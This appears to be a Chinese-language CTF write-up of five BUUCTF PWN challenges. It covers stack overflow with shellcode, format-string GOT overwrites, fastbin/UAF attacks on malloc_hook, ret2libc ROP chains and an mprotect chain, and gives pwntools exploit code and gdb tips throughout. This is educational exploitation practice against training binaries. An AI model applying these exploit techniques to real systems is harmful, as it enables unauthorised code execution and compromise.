ARTICLE · INTELLIGENCE

战地情报 · 详情页

来自尧图项目组的一线实战观察与深度解析

BUUCTF PWN题解:栈溢出与格式化字符串漏洞实战

BUUCTF PWN题解:栈溢出与格式化字符串漏洞实战

1. 解题思路与工具准备

最近在BUUCTF平台上刷了几道PWN题(46-50题),发现这几道题虽然难度不算太高,但涉及的知识点比较全面。作为二进制安全方向的练习者,我觉得有必要把解题过程记录下来,既是对自己思路的梳理,也能给刚入门PWN的同学一些参考。

这几道题主要考察了栈溢出、格式化字符串漏洞、堆利用等常见漏洞类型。解题环境我使用的是Ubuntu 20.04,配合pwntools、gdb-peda、checksec等工具链。建议在开始前先确保这些工具都已安装配置好:

sudo apt-get update sudo apt-get install -y python3 python3-pip git gdb pip3 install pwntools git clone https://github.com/longld/peda.git ~/peda echo "source ~/peda/peda.py" >> ~/.gdbinit

2. 题目46:基础栈溢出

2.1 题目分析

首先用checksec检查保护机制:

checksec ./pwn46 [*] '/home/user/pwn46' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments

可以看到这是一个32位程序,没有任何保护机制(没有栈保护、NX禁用、没有地址随机化)。用IDA打开分析,发现main函数中存在明显的栈溢出漏洞:

char buf[16]; read(0, buf, 0x100);

2.2 利用思路

由于没有NX保护,我们可以直接在栈上布置shellcode。解题步骤如下:

  1. 确定偏移量:通过gdb调试发现,从buf到返回地址的偏移是28字节
  2. 构造payload:填充28字节垃圾数据 + shellcode地址
  3. 由于ASLR关闭,栈地址固定,可以直接硬编码shellcode地址

2.3 完整exp代码

from pwn import * context(arch='i386', os='linux') p = process('./pwn46') shellcode = asm(shellcraft.sh()) payload = b'A'*28 + p32(0xffffd580) + shellcode p.sendline(payload) p.interactive()

注意:实际解题时需要根据调试确定shellcode的具体地址,这里0xffffd580只是示例

3. 题目47:格式化字符串漏洞

3.1 漏洞分析

这道题的保护机制如下:

Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)

程序中有明显的格式化字符串漏洞:

char buf[100]; fgets(buf, sizeof(buf), stdin); printf(buf);

3.2 利用思路

虽然开启了栈保护,但我们可以利用格式化字符串漏洞:

  1. 泄露libc地址计算system地址
  2. 覆盖GOT表中的printf为system
  3. 下次调用printf("/bin/sh")时实际执行system("/bin/sh")

3.3 关键步骤

  1. 首先确定格式化字符串的偏移:
p.sendline(b'AAAA'+b'%p.'*10)

通过输出可以确定AAAA在栈上的位置(比如第7个参数)

  1. 泄露libc地址:
payload = p32(printf_got) + b'%7$s' p.sendline(payload) printf_addr = u32(p.recv(4))
  1. 计算system地址并覆盖GOT:
system_addr = printf_addr - (libc.symbols['printf'] - libc.symbols['system']) payload = fmtstr_payload(7, {printf_got: system_addr}) p.sendline(payload)

4. 题目48:堆利用之fastbin attack

4.1 程序分析

保护机制:

Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)

程序实现了简单的堆菜单:

  1. malloc(0x60)
  2. free
  3. 编辑堆内容

4.2 漏洞利用

存在UAF漏洞,free后没有清空指针。利用步骤:

  1. 分配两个chunk(A和B)
  2. 释放A和B,它们会进入fastbin
  3. 通过编辑A的fd指针,指向目标地址(如malloc_hook附近)
  4. 两次malloc后,第三次就能分配到目标地址
  5. 写入one_gadget到malloc_hook

4.3 关键代码

# 分配两个chunk malloc(0, b'AAAA') malloc(1, b'BBBB') # 释放形成fastbin链表 free(0) free(1) # 修改fd指针 edit(0, p64(malloc_hook - 0x23)) # 重新分配 malloc(2, b'CCCC') malloc(3, b'DDDD') # 现在可以分配到malloc_hook附近 malloc(4, b'A'*0x13 + p64(one_gadget))

5. 题目49:ROP链构造

5.1 保护机制

Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)

5.2 解题思路

程序存在栈溢出,但NX开启无法执行shellcode。需要构造ROP链:

  1. 泄露libc地址
  2. 返回到main函数再次触发溢出
  3. 第二次构造system("/bin/sh")的ROP链

5.3 ROP链构造

第一次泄露地址:

pop_rdi = 0x400703 puts_plt = 0x4004e0 puts_got = 0x601018 main = 0x400637 payload = b'A'*40 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)

第二次getshell:

libc.address = puts_addr - libc.symbols['puts'] system = libc.symbols['system'] binsh = next(libc.search(b'/bin/sh')) payload = b'A'*40 + p64(pop_rdi) + p64(binsh) + p64(system)

6. 题目50:综合利用

6.1 题目特点

这道题结合了多种技术:

  • 栈溢出
  • 格式化字符串
  • ROP
  • 堆利用

6.2 解题步骤

  1. 通过格式化字符串泄露栈地址和libc地址
  2. 利用栈溢出构造ROP链调用mprotect
  3. 将栈区域设置为可执行
  4. 写入shellcode并跳转执行

6.3 关键代码

# 泄露栈地址 p.sendline(b'%p.'*20) stack_leak = int(p.recvuntil('.', drop=True).split(b'.')[5], 16) # 构造mprotect ROP链 mprotect = libc.symbols['mprotect'] payload = b'A'*offset payload += p64(pop_rdi) + p64(stack_leak & ~0xfff) payload += p64(pop_rsi) + p64(0x1000) payload += p64(pop_rdx) + p64(7) payload += p64(mprotect) payload += p64(stack_leak + 0x100) payload += shellcode

7. 常见问题与调试技巧

7.1 gdb调试技巧

  1. 在关键函数下断点:
b *main b *vuln_func
  1. 查看内存:
x/20wx $esp x/10gx $rsp
  1. 查看堆状态:
heap bins heap chunks

7.2 常见错误

  1. 偏移计算错误:一定要通过gdb确认偏移量
  2. 地址对齐问题:64位系统要注意栈对齐(payload长度要是8的倍数)
  3. one_gadget条件不满足:多尝试几个one_gadget,或构造ROP链设置寄存器

7.3 实用命令

  1. 查找gadget:
ROPgadget --binary ./pwn50
  1. 查找字符串:
rabin2 -z ./pwn50
  1. 快速测试exp:
while true; do python3 exp.py; done
RELATED READING

延伸阅读

更多一线实战笔记与深度复盘,助您持续精进